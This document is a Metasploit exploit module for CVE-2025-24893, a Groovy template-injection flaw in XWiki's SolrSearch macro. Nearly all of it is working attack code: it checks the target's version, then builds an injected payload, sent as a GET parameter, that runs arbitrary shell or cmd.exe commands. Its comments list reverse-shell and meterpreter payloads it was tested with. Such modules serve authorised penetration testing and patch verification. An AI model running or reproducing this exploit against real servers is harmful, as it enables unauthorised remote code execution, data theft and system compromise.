📄 XWiki Platform Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Remote Code Execution Vulnerability in XWiki Platform (CVE-2025-24893)',
            'Description' => %q{
              This module exploits a template injection vulnerability in the the XWiki Platform.
              XWiki includes a macro called SolrSearch (defined in Main.SolrSearchMacros) that enables full-text search through the embedded Solr engine.
              The vulnerability stems from the way this macro evaluates search parameters in Groovy, failing to sanitize or restrict malicious input.
    
              This vulnerability affects XWiki Platform versions >= 5.3-milestone-2 and < 15.10.11, and versions >= 16.0.0-rc-1 and < 16.4.1.
              Successful exploitation may result in the remote code execution under the privileges
              of the web server, potentially exposing sensitive data or disrupting survey operations.
    
              An attacker can execute arbitrary system commands in the context of the user running the web server.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Maksim Rogov', # Metasploit Module
              'John Kwak' # Vulnerability Discovery
            ],
            'References' => [
              ['CVE', '2025-24893'],
              ['URL', 'https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j']
            ],
            'Platform' => ['unix', 'linux', 'win'],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    # On Debian 9 curl is not installed by default
                    'FETCH_COMMAND' => 'WGET'
                  }
                  # Tested with cmd/unix/reverse_bash
                  # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => ['win'],
                  'Arch' => ARCH_CMD,
                  'Type' => :win_cmd
                  # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ],
            ],
            'Payload' => {
              'BadChars' => '\\'
            },
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-02-20',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to XWiki', '/']),
          ]
        )
      end
    
      def check
        print_status('Extracting version...')
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, '/xwiki/bin/view/Main/'),
          'method' => 'GET'
        )
        return CheckCode::Unknown('No response from target') unless res&.code == 200
    
        version_div = res.get_html_document.at('div[id="xwikiplatformversion"]')
        return CheckCode::Safe('Possibly not XWiki or incorrect path (version tag not found)') unless version_div
    
        version_match = version_div.text.match(/XWiki.*?(\d+\.\d+\.\d+)/)
        unless version_match
          print_error("#{peer} - Unable to extract version number")
          return CheckCode::Detected('XWiki detected, but version number missing or unrecognized')
        end
    
        version = Rex::Version.new(Regexp.last_match(1).to_s)
        print_status("Extracted version: #{version}")
    
        if version.between?(Rex::Version.new('5.3.0'), Rex::Version.new('15.10.10')) ||
           version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.4.0'))
          return CheckCode::Appears("Detected version #{version}, which is vulnerable")
        end
    
        return CheckCode::Safe("Version #{version} appears safe")
      end
    
      def build_cmd
        print_status('Building command for target...')
    
        if target['Type'] == :unix_cmd
          cmd_array = "'sh', '-c', '#{payload.encoded}'"
        else
          cmd_array = "'cmd.exe', '/b', '/q', '/c', '#{payload.encoded}'"
        end
    
        print_good('Command successfully built for target')
    
        return "{{async async=false}}{{groovy}}[#{cmd_array}].execute().text{{/groovy}}{{/async}}"
      end
    
      def send_payload(cmd)
        print_status('Uploading payload...')
    
        vars_get = {
          'media' => 'rss',
          'text' => cmd
        }
    
        send_request_cgi({
          'uri' => normalize_uri(target_uri.path, '/xwiki/bin/get/Main/SolrSearch'),
          'method' => 'GET',
          'vars_get' => vars_get
        })
      end
    
      def exploit
        cmd = build_cmd
        send_payload(cmd)
      end
    end